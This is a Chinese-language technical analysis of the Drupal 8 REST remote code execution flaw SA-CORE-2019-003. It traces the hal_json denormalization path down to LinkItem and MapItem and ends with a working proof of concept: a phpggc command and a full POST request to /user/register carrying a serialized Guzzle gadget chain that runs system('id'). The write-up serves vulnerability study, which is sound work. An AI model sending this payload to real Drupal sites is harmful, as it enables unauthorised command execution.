SA-CORE-2019-003:Drupal 远程命令执行分析

 

 

0x00 环境配置

此处针对于版本

# git log
commit 74e8c2055b33cb8794a7b53dc79b5549ce824bb3 (HEAD, tag: 8.6.9)

好的环境也就漏洞分析的一大半

drupal 的 rest 功能有点僵硬

需满足的条件如下

管理界面这两个都得安排上

但其实你会发现你安装了 drupal 你却没有 restui 这个东西

到这里下载 解压

https://www.drupal.org/project/restui

放置于此。 为什么呢,你看看这个 README.txt

悟道

把这个 enable

还需要 设置允许匿名用户利用 POST 来访问 /user/register

实际还得装上 hal 这个处理 json 的扩展

至此环境配置结束 。。。 坑还是有点多

关于 PHP 调试我是以 Docker 为主体做的远程调试配置,如果对此感兴趣的话,将在下次做一些展开。

毕竟一个 docker-compose up 就能实现调试,还算能减少一些环境配置的过程

 

0x01 分析

本文将以两个角度共同对该漏洞的产生,drupal 的设计模式,drupal normalize/denormailze 的实现进行详尽的分析以及阐释

分析中的各个有意思的点以及关键位置如下目录所示

hal_json 的条件

getDenormalizer 解析

link types 的由来

$entity->get() 解析

type shortcut 解析流程

symfony interface 简单逻辑

简单流程

drupal 是基于 symfony 的框架的 web 框架,这框架接口等待以后进行补全

这里截图一下 denormalize 的栈

根据 云鼎 RR 的分析

注意 Content-Type:application/hal+json 字段 (未验证是否起决定作用)

这里的 _links->type->href 就会决定这里的 content_target 最后返回的类型

接着往下走

成功到了 git diff 能观测到的漏洞触发点

MapItem

LinkItem

入口入手

从入口入手可以直观的看到整个框架的运行流程以及方便整理出流程关系甚至你可以获得设计模式

其实代码结构中的 core/rest/RequestHandler.php 这种命名格式的文件一般就是继承或者注册了路由的处理函数,肯定可以作为入手点进行观测

其中进行了 deserialize 处理

renew_getDenormalizer

而在阅读代码中,这是第一处 getDenormalizer 的调用

$this->normalizers

为什么 DrupalusersEntityUser 可以对应到 ContentEntityNormalizer 呢?

这里因为有一层 User 继承 ContentEntityBase , ContentEntityBase 实现了 ContentEntityInterface,而对应了 ContentEntityNormalizer

hal_json 实际由来的情况

hal_json_detail

这里就出现了狼人情况, 这总共 18 个 Normalizer 而且是在 开启 HAL 情况下才会有 DrupalhalNormalizer* 其他的 Normalizer $format 全为 null 无法继续处理 对于 /DrupalhalNormalizer* 来说 $format 只有 hal_json ,从这里定下

GET 参数 _format=hal_json

所以在进行 in_array 判断成立 过了 checkFormat 的判断后

还进行了针对 DrupaluserEntityUser 的继承关系检测

supportsDenormalization 针对 DrupaluserEntityUser 而找到了 ContentEntityNormalizer

第一阶段通过 路由 /user 决定 entity DrupaluserEntityUser 进行第一部分的 denormalize 而使用的就是 ContentEntityNormalizer->denormalize

进行第二阶段 ContentEntityNormalizer 反序列化根据 POST 中传递的 _link->type 来决定处理的 entity, 关于 entity 的处理可以向下继续阅读

继续调用 denormalizeFieldData 来实现进一步的处理

关于此处的 denormalizeFieldData

因为使用了 Trait 这种 php 中的特性

PHP: Traits – Manual

所以才到了 FieldableEntityNormalizerTrait 中进行具体的处理

所以调用 DrupalhalNormalizerContentEntityNormalizer 的 denormalizer 方法

$data 是传入的 post content 被处理后的对象, 那么可以看到此处在通过获得 POST->_links->type 的值

如果存在 POST->_links->type->href 字段那么就直接给 $types 赋值

那么 getTypeInternalIds 就成为了要满足的条件

cache_data_types

从 cache 中取 key 为 hal:links:types 的缓存 可以看到总共有 37 条缓存,这些缓存的对应关系都如下

可以看到只要传入这 37 条的任意一条均可通过验证

此处返回对象即为

赋值 $value -> value[shortcut_set]=’default’

通过

  • entity_type ‘shortcut’
  • bundle ‘default’

获得出 DrupalshortcutEntityShortcut 对象 调用 create 传入上述 $value

EntityTypeManager->getDefinition

DiscoveryCachedTrait->getDefinition

ContentEntityType 是继承于 EntityType 的,所以在调用 getHandlerClass 的时候是使用 EntityType 中的方法

在 post 数据初始化 getStorage 的过程中经过 handler 的有

  • rest_resource_config
  • user_role
  • shortcut

而且进一步观察到 $this->handlers[$handler_type][$entity_type] 这个值在调用 getHandler 的时候如果没有被 set 那么就会通过如上过程完成初始化

然后对此处断点,去回顾一下在 drupal 运行流程中什么时候会触发 EntityTypeManagergetHandler 初始化并且初始化的值分别是什么

流程如下

  • $definition = $this->getDefinition($entity_type);
  • $class = $definition->getHandlerClass($handler_type);
  • $this->handlers[$handler_type][$entity_type] = $this->createHandlerInstance($class, $definition);

而实例生成的效果基本就是以 $class 然后传入 $definition 进行实例化

那么可以说是至关重要的点就是在于 getDefinition($entity_type) 此处的实现而此处的 entity_type 和上文传入的 _links->type 字段是有绑定关系的

回到 create

SqlContentEntityStorage 继承 ContentEntityStorageBase
ContentEntityStorageBase 继承 EntityStorageBase

EntityStorageBase 的构造函数

调用节点是发生在 createHandlerInstance 的时候

那么基本可以确定此处就是为什么限定 _links->type 字段的原因了,那么要确定 $entity_type 的值就得从漏洞触发的过滤出发了

skip_shortcut_entity_process

getStorage 之后再通过 create 创建出对应的 entity 实体,进一步通过 ContentEntityNormalizerdenormalizeFieldData 进行处理 等效调用 FieldableEntityNormalizerTrait 中的 denormalizeFieldData

而进一步产生关联的地方在于 entity->get($field_name)

$field_name 和 post 传入的 $data 息息相关并且是完全输入可控的部分

entity_get_detail

关于 entity->get($field_name) 的实现

type_ShortCut

在 ShortCut 的情况下只有 EntityReferenceFieldItemListFieldItemList 这两种情况。

那么非 ShortCut 的情况呢。

在展开的时候尝试使用

但发现了 ContentEntityNormalizer->denormalizeFieldData 会直接抛出异常

原因是因为

这个 use 限定了 denormalizeFieldData 可以被传入的实例类型

必须为 FieldableEntityInterface 的实现

因为没有直接 implements 的,转而寻找子类

实际有这一处

interface ContentEntityInterface extends Traversable, FieldableEntityInterface, TranslatableRevisionableInterface

interface 类型的有

  • ShortcutInterface
  • MessageInterface
  • ContentModerationStateInterface
  • FileInterface
  • CommentInterface
  • ItemInterface
  • FeedInterface
  • UserInterface
  • BlockContentInterface
  • WorkspaceInterface
  • MenuLinkContentInterface
  • TermInterface
  • NodeInterface
  • MediaInterface

回到刚才的要求里,并结合cache data 列表

我验证的可用的有且仅有

  • shortcut/default (成立)
  • user/user (无 entity->get)
  • comment/comment
  • file/file

shortcut/default 解析

了解完这些之后

那么此时就要开始根据最开始的 diff 结果开始进行情况过滤了。

因为 denormalizeFieldData 这个在 DrupalserializationNormalizer 中实现的方法应该是属于定义的接口函数,会根据不同是实例调用到对应实例的 Normalizer 的子 denormalize 处理函数。此处由函数名以及代码逻辑得知此处由 field 来决定

那么此处需要的 entity 是什么呢? 从 diff 中看到受影响的是 MapItem LinkItem 这两个类,所以就得往上追溯是哪一个 entity 会调用到对应 Field。

Diff 入手

从 diff 中看到受影响的是 MapItem LinkItem 这两个类,所以就得往上追溯是哪一个 entity 会调用到对应 Field。

那就拿 LinkItem 开刀

interface_logic

由于触发在 setValue 那么肯定是要去找对应的调用,而根据上文以及阅读的代码,drupal 封装自 symfony 而所有的方式基本都已用接口的方式实现,那么在这种设计模式下你是不可能直观的找到 LinkItem->setValue 这种简单的调用的。

phpstorm 的 FindUsage 果然无法精确定位这种设计模式 :(

那么此处就涉及到 drupal 的虚函数了,那么设计模式的东西真令人头大。

LinkItem 实现了 LinkItemInterface 这个接口

LinkItemInterface 继承于 FieldItemInterface

可以在源码中找到针对 FieldItemInterface 实现序列化/反序列化的 FieldItemNormalizer

emm 其实这里的理由并不够太充分,但实际阅读源码,drupal 中还有大量的类似实现,那么就可以确定这就是 drupal 的设计模式: 基础类实现具体接口,而对应的父接口则有固定的反序列化/序列化的实现

观测其反序列化实现中存在 setValue 的调用

那么只需要再去找 FieldItemNormalizer 的 denormalize 调用即可

而在刚才阅读 denormalizeFieldData 的代码的时候就不难明白, drupal 中所有的序列化调用都是 symfony 的 DenormalizerInterface 的实现

前期情况回顾一下

Symfony Serializer->denormalize() 根据 post /user
最终导向了 ContentEntityNormalizer->denormalizeFieldData()

此处的 entity 就是刚才分析的 getStorage=>create 这个过程创建的 entity 实体,下面即有所需的 denormalize 调用。要调用到 FieldItemNormalizer 就需要满足

1)

entity->get($field_name) 需要返回一个使用 DrupalCoreFieldFieldItemInterface 的实例

2)

此处 getDenormalizer 的检验上文已经说过 点我回顾

实际也还是在这 18 个结果中找到对应的条件

要获得 FieldItemNormalizer 就必须满足传入的数据是 DrupalCoreFieldFieldItemInterface 这个接口的实现或者是子类接口的实现

这就是一个直接可以搜索到的子类接口

而这就是是其对应的实现

从而问题就变成了 $entity->get($field_name); 如何才能返回

FieldItemInterface 那么问题就来了,根据

shortcut/default 解析

entity->get 解析

这里的分析,没有满足 FieldItemInterface 这个条件的情况。

有的是如下两种情况

EntityReferenceFieldItemListFieldItemList

但是这里可以联想以及搜索一下 FieldItemList ,毕竟和所需的元素只有状态的差别 List->Item 这里从 pythoner 的角度不难觉得是可以联想的

那么就以 FieldItemList 向下推导

FieldNormalizer->denormalize 果然和想象的一致,是可以从 List 中提取出单个元素再次进行 denormalize 处理

核心就在于 $item_class = $items->getItemDefinition()->getClass(); 能获得 FieldItemInterface 的实现吗?

对应的 $definitionsDiscoveryCachedTrait 中保存的 $definitions

而在这之中恰好存在

  • field_item:link
    • DrupallinkPluginFieldFieldTypeLinkItem
  • filed_item:map
    • DrupalCoreFieldPluginFieldFieldTypeMapItem

那么至此漏洞以及 drupal 的流程也已叙述完毕

 

0x02 漏洞证明

如果使用/user/register接口的话,可以跳过正常的字段检测,那么需要一些必要字段来通过check,此次没有阅读源码直接猜想得出常见的用户注册字段。但是又会产生新的错误,不如不操作 : (

之后确认源码,针对输入信息的校验其实是发生在所有的denormalize之后的所以即使不传入相关信息也可以正常触发反序列化

利用 phpggc

phpggc guzzle/rce1 system id --json

如果使用/user/register 接口的话那么需要一些必要字段来通过check此次因为是REST接口所以可以,不阅读源码直接猜想得出

POST /drupal/user/register?_format=hal_json HTTP/1.1
Host: 127.0.0.1
Content-Type: application/hal+json
cache-control: no-cache
Postman-Token: 258f5d68-a142-4837-b76c-b15807e84bdb
{
"link": [{"options":"O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"u0000GuzzleHttp\Psr7\FnStreamu0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"u0000GuzzleHttp\HandlerStacku0000handler";s:2:"id";s:30:"u0000GuzzleHttp\HandlerStacku0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"u0000GuzzleHttp\HandlerStacku0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"}],
"title": ["bbb"],
"username": "213",
"password": "EqLp7rhVvsh3fhPPsJBP",
"email": "c1tas@c1tas.com",
"_links": {
"type": {"href": "http://127.0.0.1/drupal/rest/type/shortcut/default"}
}
}------WebKitFormBoundary7MA4YWxkTrZu0gW--

 

0x03 参考链接

Drupal core – Highly critical – Remote Code Execution – SA-CORE-2019-003 | Drupal.org

Drupal SA-CORE-2019-003 远程命令执行分析-腾讯御见威胁情报中心

Exploiting Drupal8’s REST RCE

(完)